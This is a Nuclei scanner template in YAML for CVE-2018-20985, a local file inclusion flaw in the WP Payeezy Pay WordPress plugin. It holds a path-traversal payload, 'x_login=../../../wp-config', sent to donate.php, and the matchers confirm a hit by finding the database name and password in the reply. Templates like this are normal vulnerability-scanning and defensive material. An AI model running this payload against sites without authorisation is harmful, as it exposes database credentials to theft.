my-nuclei-templates/CVE-2018-20985.yaml

32 lines
1.2 KiB
YAML
Executable File

id: CVE-2018-20985
info:
name: WordPress Plugin WP Payeezy Pay 2.97 - Local File Inclusion
author: daffainfo
description: WordPress Plugin WP Payeezy Pay is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin WP Payeezy Pay version 2.97 is vulnerable; prior versions are also affected.
reference:
- https://www.pluginvulnerabilities.com/2018/12/06/our-improved-proactive-monitoring-has-now-caught-a-local-file-inclusion-lfi-vulnerability-as-well/
- https://www.cvedetails.com/cve/CVE-2018-20985/
severity: high
tags: cve,cve2018,wordpress,lfi
requests:
- method: POST
path:
- "{{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php"
body: "x_login=../../../wp-config"
matchers-condition: and
matchers:
- type: word
words:
- "The base configuration for WordPress"
- "define( 'DB_NAME',"
- "define( 'DB_PASSWORD',"
condition: and
part: body
- type: status
status:
- 200